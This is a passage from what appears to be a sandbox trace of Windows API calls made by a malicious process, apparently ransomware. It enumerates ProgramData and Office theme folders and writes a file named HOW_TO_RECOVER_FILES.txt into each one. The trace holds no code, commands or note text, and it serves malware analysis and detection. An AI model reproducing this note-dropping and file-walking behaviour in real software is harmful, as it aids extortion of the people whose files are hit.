lpOldMode=0x1f9ee840) returned 1 [0153.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.120] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\XboxLive", lpFilePart=0x0) returned 0x25 [0153.120] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.120] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.120] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fd0f9a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0153.120] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NSALCache", cAlternateFileName="NSALCA~1")) returned 1 [0153.120] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.121] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0153.121] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache", lpFilePart=0x0) returned 0x2f [0153.121] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.121] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.121] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fd0f9a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0153.122] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.122] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0153.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0153.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0153.122] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache", lpFilePart=0x0) returned 0x2f [0153.122] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.122] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.122] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fd0f9a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0153.122] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fd0f9a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33fd0f9a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33fd0f9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0153.123] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0153.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0153.123] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0153.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0153.123] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\NSALCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\xboxlive\\nsalcache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0153.124] GetFileType (hFile=0x808) returned 0x1 [0153.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0153.124] GetFileType (hFile=0x808) returned 0x1 [0153.125] WriteFile (in: hFile=0x808, lpBuffer=0x3904f88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3904f88*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0153.126] CloseHandle (hObject=0x808) returned 1 [0153.126] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\XboxLive\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0153.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0153.126] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\XboxLive\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\xboxlive\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0153.127] GetFileType (hFile=0x808) returned 0x1 [0153.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0153.127] GetFileType (hFile=0x808) returned 0x1 [0153.127] WriteFile (in: hFile=0x808, lpBuffer=0x39087d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x39087d0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0153.128] CloseHandle (hObject=0x808) returned 1 [0153.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.129] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x2d [0153.129] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.129] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.129] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0153.129] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.129] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x2d [0153.130] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.130] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.130] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0153.130] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.130] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0153.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0153.130] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0153.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eb260) returned 1 [0153.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects", lpFilePart=0x0) returned 0x47 [0153.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.134] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.134] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Banded Edge.eftx", cAlternateFileName="BANDED~1.EFT")) returned 1 [0153.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extreme Shadow.eftx", cAlternateFileName="EXTREM~1.EFT")) returned 1 [0153.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51933, dwReserved0=0x0, dwReserved1=0x0, cFileName="Frosted Glass.eftx", cAlternateFileName="FROSTE~1.EFT")) returned 1 [0153.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glossy.eftx", cAlternateFileName="GLOSSY~1.EFT")) returned 1 [0153.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glow Edge.eftx", cAlternateFileName="GLOWED~1.EFT")) returned 1 [0153.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56208, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grunge Texture.eftx", cAlternateFileName="GRUNGE~1.EFT")) returned 1 [0153.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inset.eftx", cAlternateFileName="INSET~1.EFT")) returned 1 [0153.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Milk Glass.eftx", cAlternateFileName="MILKGL~1.EFT")) returned 1 [0153.135] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2007 - 2010.eftx", cAlternateFileName="OFFICE~1.EFT")) returned 1 [0153.136] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflection.eftx", cAlternateFileName="REFLEC~1.EFT")) returned 1 [0153.136] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x480a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riblet.eftx", cAlternateFileName="RIBLET~1.EFT")) returned 1 [0153.136] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d753, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smokey Glass.eftx", 